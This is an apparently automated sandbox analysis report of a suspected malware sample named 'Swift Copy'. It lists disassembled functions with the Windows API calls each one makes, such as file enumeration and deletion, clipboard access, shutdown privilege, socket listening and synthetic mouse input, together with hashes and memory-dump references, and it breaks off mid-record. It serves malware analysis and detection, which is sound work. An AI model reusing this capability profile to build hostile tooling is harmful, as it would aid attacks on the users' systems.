Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8933412f636b6ba795bb7f5b6a389af7a1a0cc27776be957ca2fc217a2e2c52c
Instruction ID: 33d9c1f52789d8f3b990dbe8a7f233286d250fda054633067d536e50f04582ad
Opcode Fuzzy Hash: 8933412f636b6ba795bb7f5b6a389af7a1a0cc27776be957ca2fc217a2e2c52c
Instruction Fuzzy Hash: 7A31D2325026596EDF10BFB6EC58ADEB7AC9F09321F244166F804F20A1DB31D988CA34

Function 00DE979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00DE97BE
FindNextFileW.KERNEL32(00000000,?), ref: 00DE9819
FindClose.KERNEL32(00000000), ref: 00DE9824
FindFirstFileW.KERNEL32(*.*,?), ref: 00DE9840
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE9890
SetCurrentDirectoryW.KERNEL32(00E36B7C), ref: 00DE98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DE98B8
FindClose.KERNEL32(00000000), ref: 00DE98C5
FindClose.KERNEL32(00000000), ref: 00DE98D5

Part of subcall function 00DDDAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00DDDB00

Strings

*.*, xrefs: 00DE983B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: b504536c980388409abc5be8718821ecc7fff1ed0ee746a7ce3ae92d96ea31ba
Instruction ID: 2097a5405863b4064775b349adee254c4454e328fe07e6868b2ded8d0ca26237
Opcode Fuzzy Hash: b504536c980388409abc5be8718821ecc7fff1ed0ee746a7ce3ae92d96ea31ba
Instruction Fuzzy Hash: 5231C2315016596EDF10BFB6EC98ADEB7ACDF06320F244166E810B21E0DB31D989CA74

Function 00DE8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00DE8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00DE8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00DE8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00DE8310
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE8324
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00DE838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE8395

Strings

*.*, xrefs: 00DE839B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 2c0b7582c6cf1f3dd08868f862b20d5a58b12e712cbf47dfb2be8cf56fb33add
Instruction ID: 3c313774d58bc1320b70f2884161a38b3c90e0656775c62bc98532e138021b3d
Opcode Fuzzy Hash: 2c0b7582c6cf1f3dd08868f862b20d5a58b12e712cbf47dfb2be8cf56fb33add
Instruction Fuzzy Hash: CE6155725083459FCB10EF65C8419AEB3E8FF89314F04891EE999D7251EB31E949CBA2

Function 00DDD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D73AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D73A97,?,?,00D72E7F,?,?,?,00000000), ref: 00D73AC2

Part of subcall function 00DDE199: GetFileAttributesW.KERNEL32(?,00DDCF95), ref: 00DDE19A

FindFirstFileW.KERNEL32(?,?), ref: 00DDD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00DDD1DD
MoveFileW.KERNEL32(?,?), ref: 00DDD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00DDD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DDD237

Part of subcall function 00DDD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00DDD21C,?,?), ref: 00DDD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00DDD253
FindClose.KERNEL32(00000000), ref: 00DDD264

Strings

\*.*, xrefs: 00DDD0CD, 00DDD0D6, 00DDD0EB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 0fbf6757a352c22f06e511ade6302fff72c63c69a5f28cade3a7cd192b06a95f
Instruction ID: 3c78ce42b50ebe1da178e2c4f7e1721f9100c74ab212ab45fc85eb5f7c4c4699
Opcode Fuzzy Hash: 0fbf6757a352c22f06e511ade6302fff72c63c69a5f28cade3a7cd192b06a95f
Instruction Fuzzy Hash: B9614B3180121DAECF05EBE0D9929EDBB76EF55300F248166E40677292EB31AF09DB71

Function 00DEED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00DEED91
EmptyClipboard.USER32 ref: 00DEED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00DEEDAC
CloseClipboard.USER32 ref: 00DEEEA3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 9102f14aa7e575b9d8f7168f90bd3d7e377a9e23334a4f2d528456dc86fdebd5
Instruction ID: b1c1d117a8f5bf4d73e2c9af947963b89748ee95fccfa46274a0c1e22dc04ed0
Opcode Fuzzy Hash: 9102f14aa7e575b9d8f7168f90bd3d7e377a9e23334a4f2d528456dc86fdebd5
Instruction Fuzzy Hash: CD41EF34604651AFD720EF16E888F19BBE0EF44718F18C199E4599B662C732EC86CBA0

Function 00DDE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00DD170D
Part of subcall function 00DD16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00DD173A
Part of subcall function 00DD16C3: GetLastError.KERNEL32 ref: 00DD174A

ExitWindowsEx.USER32(?,00000000), ref: 00DDE932

Strings

@, xrefs: 00DDE925
, xrefs: 00DDE95C
, xrefs: 00DDE920
SeShutdownPrivilege, xrefs: 00DDE902

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 47b0c40420166abd9a0ff79a503794c679e83f3eac62ee7a1c3b0568b2887a52
Instruction ID: 78915c3da431b9268667ca5fc60f145fb4ca2b775c3684e87e1272bf05ded46f
Opcode Fuzzy Hash: 47b0c40420166abd9a0ff79a503794c679e83f3eac62ee7a1c3b0568b2887a52
Instruction Fuzzy Hash: E0012672611211BFEB1433B59C9AFBF735CD714740F280923F802F62D2D5A19C8489B0

Function 00DF1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00DF1276
WSAGetLastError.WSOCK32 ref: 00DF1283
bind.WSOCK32(00000000,?,00000010), ref: 00DF12BA
WSAGetLastError.WSOCK32 ref: 00DF12C5
closesocket.WSOCK32(00000000), ref: 00DF12F4
listen.WSOCK32(00000000,00000005), ref: 00DF1303
WSAGetLastError.WSOCK32 ref: 00DF130D
closesocket.WSOCK32(00000000), ref: 00DF133C

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f7c3441b4ad2ce31ebe70f5a7fbbb18a88b2ef7d8b0796db5749afd33ec0e5fc
Instruction ID: dd257c6fc231feef2c7d69ee4f2ed5ed892f38a561bb8c489fb7035b40f98e85
Opcode Fuzzy Hash: f7c3441b4ad2ce31ebe70f5a7fbbb18a88b2ef7d8b0796db5749afd33ec0e5fc
Instruction Fuzzy Hash: 3941AE35A00144DFD714DF64C489B2ABBE5EF86318F29C188E95A9F292C771ED85CBB0

Function 00DDD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D73AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D73A97,?,?,00D72E7F,?,?,?,00000000), ref: 00D73AC2

Part of subcall function 00DDE199: GetFileAttributesW.KERNEL32(?,00DDCF95), ref: 00DDE19A

FindFirstFileW.KERNEL32(?,?), ref: 00DDD420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00DDD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DDD481
FindClose.KERNEL32(00000000), ref: 00DDD498
FindClose.KERNEL32(00000000), ref: 00DDD4A1

Strings

\*.*, xrefs: 00DDD3F2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 105413e72c555cf8eccf03b9e076be5df2a0e7d23324c10209da321155891d7e
Instruction ID: 06c243f30ca9ab9932befa88c189a90a88dee0411b7790178e4a943b8ae6ca1a
Opcode Fuzzy Hash: 105413e72c555cf8eccf03b9e076be5df2a0e7d23324c10209da321155891d7e
Instruction Fuzzy Hash: 713170310083459FC714EF64D8528AFB7A8EE95304F548A1EF4D5522A1EB31EA09CB73

Function 00DAE4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DAE645

Strings

1#INF, xrefs: 00DAF852
1#IND, xrefs: 00DAF83D
1#QNAN, xrefs: 00DAF84B
1#SNAN, xrefs: 00DAF844

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 86631491d3ce86aa30e9c4ed53517f3466a88631219dfc106c3d5b29541f4740
Instruction ID: 71e80d074427870e7bbcbfb5ea9def6ec1caed80cadc7046ec7fb52ccef3e7c5
Opcode Fuzzy Hash: 86631491d3ce86aa30e9c4ed53517f3466a88631219dfc106c3d5b29541f4740
Instruction Fuzzy Hash: 46C22A71E046288FDB25CF68DD407EAB7B5EB4A305F1845EAD44DE7240E778AE818F60

Function 00DE648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DE64DC
CoInitialize.OLE32(00000000), ref: 00DE6639
CoCreateInstance.OLE32(00E0FCF8,00000000,00000001,00E0FB68,?), ref: 00DE6650
CoUninitialize.OLE32 ref: 00DE68D4

Strings

.lnk, xrefs: 00DE64BA, 00DE6524, 00DE65E0

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 6cdd50375018e234192b4adc18d7a6c6400207a943e0bf0fc58b3f0f6756140b
Instruction ID: 7eef3dac980da1f2715c0de64a80353a0b90f7bc75321a3cf6f3bd3e67feec20
Opcode Fuzzy Hash: 6cdd50375018e234192b4adc18d7a6c6400207a943e0bf0fc58b3f0f6756140b
Instruction Fuzzy Hash: 7CD13871608241AFC314EF24C891D6BB7E8FF94344F14896DF5998B2A1EB30E945CBB2

Function 00DF22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00DF22E8

Part of subcall function 00DEE4EC: GetWindowRect.USER32(?,?), ref: 00DEE504

GetDesktopWindow.USER32 ref: 00DF2312
GetWindowRect.USER32(00000000), ref: 00DF2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00DF2355
GetCursorPos.USER32(?), ref: 00DF2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00DF23DF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 734572b83635766a3fcea9121b674b86cffd060d4f06540d68229d6f11256c01
Instruction ID: bfbfe41e3295681e7e1f2ddc060ad4b79247722ce244bd0c7b14b2be60fba547
Opcode Fuzzy Hash: 734572b83635766a3fcea9121b674b86cffd060d4f06540d68229d6f11256c01
Instruction Fuzzy Hash: 1F31EFB2105319AFC720DF15D844E6BBBE9FF84314F104A1EF984A7181DB35E948CBA2

Function 00DE9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00DE9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00DE9C8B

Part of subcall function 00DE3874: GetInputState.USER32 ref: 00DE38CB
Part of subcall function 00DE3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00DE3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00DE9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00DE9C75

Strings

*.*, xrefs: 00DE9B5D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 6c84736043166304164735a08c9fc4761fb3a9b8ff93334e7127b9c5d3d9bacc
Instruction ID: 0a4aa688f63ac67226b75a8ee8d72c3281d351122ce2083a954fec0dfdcf4ca4
Opcode Fuzzy Hash: 6c84736043166304164735a08c9fc4761fb3a9b8ff93334e7127b9c5d3d9bacc
Instruction Fuzzy Hash: EF41837190124AAFCF14FF65C895AEEBBB4EF05310F248156E405A2191EB319E84CF70

Function 00D8997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00D89BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00D89BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00D89A4E
GetSysColor.USER32(0000000F), ref: 00D89B23
SetBkColor.GDI32(?,00000000), ref: 00D89B36

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 0c7587da0b3f6b9193a8fd8bd79bcb163ce008142bac356e53fe3716bac515b3
Instruction ID: 84d7302c59ebeaa06452705b8496d2c685357980ec8b18526d0ce58f3c1a221b
Opcode Fuzzy Hash: 0c7587da0b3f6b9193a8fd8bd79bcb163ce008142bac356e53fe3716bac515b3
Instruction Fuzzy Hash: D2A1F870208405AEE72CBB2D8CA9F7B669DEB86350B1D020DF5C2E79D2CA25DD41CB71

Function 00DF1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00DF307A
Part of subcall function 00DF304E: _wcslen.LIBCMT ref: 00DF309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00DF185D
WSAGetLastError.WSOCK32 ref: 00DF1884
bind.WSOCK32(00000000,?,00000010), ref: 00DF18DB
WSAGetLastError.WSOCK32 ref: 00DF18E6
closesocket.WSOCK32(00000000), ref: 00DF1915

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 9dc1cac27746414d86cd6c12a6a88969187470cd6efbf0528fdc4feb5b93f487
Instruction ID: 170a5b208432a648b1c9b7f292ba504b5375a78ef17af45844f37789f96fdb89
